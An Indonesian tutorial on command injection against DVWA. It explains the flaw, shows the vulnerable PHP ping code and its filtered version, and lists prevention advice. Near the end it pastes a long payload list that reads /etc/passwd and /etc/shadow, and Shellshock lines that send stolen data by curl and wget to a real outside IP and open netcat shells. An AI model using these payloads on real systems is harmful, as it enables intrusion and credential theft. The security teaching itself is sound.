Cara Melakukan Command Injection Pada DVWA

Command injection merupakan salah satu jenis serangan keamanan yang dapat merusak sistem dan mengakibatkan kerugian yang besar bagi pengguna. Serangan ini terjadi ketika attacker berusaha memasukkan kode yang tidak sesuai ke dalam sebuah aplikasi atau sistem yang mengeksekusinya sebagai perintah sistem. Command injection sering terjadi pada aplikasi web yang menerima input dari pengguna dan mengeksekusinya sebagai perintah shell atau command line.

Command Injection

Mengenai tutorial ini kita akan belajar bagaimana cara melakukan command injection pada DVWA dan jika kamu mau tahu tentang DVWA penulis telah membuat pengertian dvwa, fungsi dan cara kerja nya. Kamu bisa lihat di sini. Kembali ke topik, sebelum itu kita akan bahas dulu apa itu command injection. Jadi, apa itu command injection? menurut situs portswigger command injection adalah kerentanan keamanan web yang memungkinkan penyerang untuk menjalankan perintah sistem operasi (OS) sewenang-wenang di server yang menjalankan aplikasi, dan biasanya sepenuhnya membahayakan aplikasi dan semua datanya. Sangat sering, penyerang dapat memanfaatkan kerentanan injeksi perintah OS untuk membahayakan bagian lain dari infrastruktur hosting, mengeksploitasi hubungan kepercayaan untuk mengalihkan serangan ke sistem lain dalam organisasi.

Sumber Portswigger.

Kita tahu perintah sistem operasi itu, katakanlah kita akan menjalankan perintah untuk melihat isi directory saat ini maka cukup ketik ini pada terminal :

dir

Dan untuk melihat nama pengguna saat ini kita bisa menjalankan perintah seperti ini :

whoami

PRAKTEK COMMAND INJECTION DVWA

Penulis harap kamu sudah mengunduh DVWA nya dan tahu bagaimana mengaktifkan web server kamu untuk bisa menjalankan pemrograman PHP dan juga MYSQL nya. Lalu kita bisa memulai untuk mengeksploitasi kerentanan web aplikasi ini. Pertama yang harus kita lakukan adalah kita harus login dulu pada DVWA nya :

Kita memasukkan username nya dengan nama admin dan juga password nya adalah password.


Selanjutnya kamu akan melihat tampilan DVWA nya seperti ini :


Lalu kamu harus pilih pada pengaturan DVWA security. Hal tersebut untuk mengatur tingkat keamanan aplikasi web DVWA nya. Kita atur saja pada pengaturan rendah yaitu low sebagai awal belajar command injection dan lalu kamu bisa submit.


Langkah terakhir untuk praktek command injection kamu bisa masuk pada pengaturan command injection tampilan nya akan seperti ini :


Nah, kamu akan melihat pada kolom inputannya. Coba kita akan memasukkan perintah pada perintah ping ini :

8.8.8.8

Perintah di atas memang sah dan aplikasi web berjalan dengan sah sebagaimana semestinya pada perintah yang kita masukkan. Kamu akan melihat nya seperti ini :


Namun bagaimana kita mengirimkan perintah yang tidak sah? katakanlah penulis memiliki beberapa payloads seperti ini :

8.8.8.8 | whoami
8.8.8.8 | dir C:\
8.8.8.8 | dir 
8.8.8.8 | systeminfo
    

Lalu penulis mengirimkan salah satu payload ini :

8.8.8.8 | dir C:\

Apa yang terjadi? yang terjadi adalah penulis sebagai peretas mengirimkan payload di atas otomatis sistem aplikasi mengeluarkan hasil perintah pada gambar di bawah ini :

Perintah di atas tentu jelas merupakan perintah yang tidak sah untuk di jalankan pada aplikasi web sendiri. Sebagai contoh tadi, ibaratkan penulis sebagai peretas lalu DVWA nya adalah aplikasi web orang lain dan penulis mengirimkan payload di atas tentu hal ini sangat merugikan. Kita hanya menjalankan pada komputer lokal saja, jadi perintah tersebut mengeluarkan isi directory C pada komputer lokal milik penulis.

Bagaimana Ini Bisa Terjadi?

Jika kita lihat view source PHP nya maka akan terlihat seperti ini kode nya :

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

Kita akan fokus beberapa bagian kode PHP di atas yang mana ketika tombol submit di tekan otomatis variabel $_POST['Submit'] akan di set dan pada variabel target akan mengacu pada kolom inputan. Selanjutnya kode di atas akan menggunakan fungsi PHP yaitu shell_exec() di mana fungsi tersebut di gunakan untuk menjalankan perintah terminal menggunakan PHP. Terakhir menampilkannya menggunakan echo.

Kita mengirimkan payload tadi karena kode di atas tidak memiliki pemfilteran karakter khusus. Menurut situs portswigger ada 3 cara untuk mencegah serangan command injection :

  1. Memvalidasi terhadap daftar putih nilai yang diizinkan
  2. Memvalidasi bahwa input adalah angka
  3. Memvalidasi bahwa input hanya berisi karakter alfanumerik dan tidak ada sintaks atau spasi putih lainnya

Penulis akan set tingkat keamanan DVWA nya ke impossible kita akan melihat bagaimana kode PHP nya melakukan pemfilteran karakter khusus :

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the characters in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

Mengenai pada aplikasi web yang sudah di hostingkan, tentu hal ini bisa di manfaatkan lebih dalam lagi pada seorang peretas. Seorang peretas bisa melihat isi sistem aplikasi web yang sudah di hostingkan menggunakan teknik command injection. Jika kita berbicara hosting pada web server, kebanyakan menggunakan sistem linux jadi peretas harus mengirimkan beberapa payloads UNIX/LINUX. Pada UNIX/LINUX hal ini menggunakan shell bash jadi penulis akan membagikan beberapa payloads nya :

<!--#exec%20cmd="/bin/cat%20/etc/passwd"-->
<!--#exec%20cmd="/bin/cat%20/etc/shadow"-->
<!--#exec%20cmd="/usr/bin/id;-->
<!--#exec%20cmd="/usr/bin/id;-->
/index.html|id|
;id;
;id
;netstat -a;
;system('cat%20/etc/passwd')
;id;
|id
|/usr/bin/id
|id|
|/usr/bin/id|
||/usr/bin/id|
|id;
||/usr/bin/id;
;id|
;|/usr/bin/id|
\n/bin/ls -al\n
\n/usr/bin/id\n
\nid\n
\n/usr/bin/id;
\nid;
\n/usr/bin/id|
\nid|
;/usr/bin/id\n
;id\n
|usr/bin/id\n
|nid\n
`id`
`/usr/bin/id`
a);id
a;id
a);id;
a;id;
a);id|
a;id|
a)|id
a|id
a)|id;
a|id
|/bin/ls -al
a);/usr/bin/id
a;/usr/bin/id
a);/usr/bin/id;
a;/usr/bin/id;
a);/usr/bin/id|
a;/usr/bin/id|
a)|/usr/bin/id
a|/usr/bin/id
a)|/usr/bin/id;
a|/usr/bin/id
;system('cat%20/etc/passwd')
;system('id')
;system('/usr/bin/id')
%0Acat%20/etc/passwd
%0A/usr/bin/id
%0Aid
%0A/usr/bin/id%0A
%0Aid%0A
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
%0a ping -i 30 127.0.0.1 %0a
`ping 127.0.0.1`
| id
& id
; id
%0a id %0a
`id`
$;/usr/bin/id
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=\`whoami\`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=18?pwd=\`pwd\`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=20?shadow=\`grep root /etc/shadow\`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=\`uname -a\`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=24?shell=\`nc -lvvp 1234 -e /bin/bash\`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=26?shell=\`nc -lvvp 1236 -e /bin/bash &\`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=5"
() { :;}; /bin/bash -c "sleep 1 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=1&?vuln=6"
() { :;}; /bin/bash -c "sleep 1 && echo vulnerable 1"
() { :;}; /bin/bash -c "sleep 3 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=3&?vuln=7"
() { :;}; /bin/bash -c "sleep 3 && echo vulnerable 3"
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=6&?vuln=8"
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=9&?vuln=9"
() { :;}; /bin/bash -c "sleep 6 && echo vulnerable 6"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=17?user=\`whoami\`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=19?pwd=\`pwd\`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=21?shadow=\`grep root /etc/shadow\`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=23?uname=\`uname -a\`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=25?shell=\`nc -lvvp 1235 -e /bin/bash\`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=27?shell=\`nc -lvvp 1237 -e /bin/bash &\`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=4"
cat /etc/hosts
$(`cat /etc/passwd`)
cat /etc/passwd
%0Acat%20/etc/passwd
{{ get_user_file("/etc/passwd") }}



system('cat /etc/passwd');

Penulis ambil payloads nya dari sini.

PENUTUP

Dengan tutorial ini, kamu bisa mendapatkan gambaran tentang serangan command injection pada aplikasi web. Semoga bermanfaat!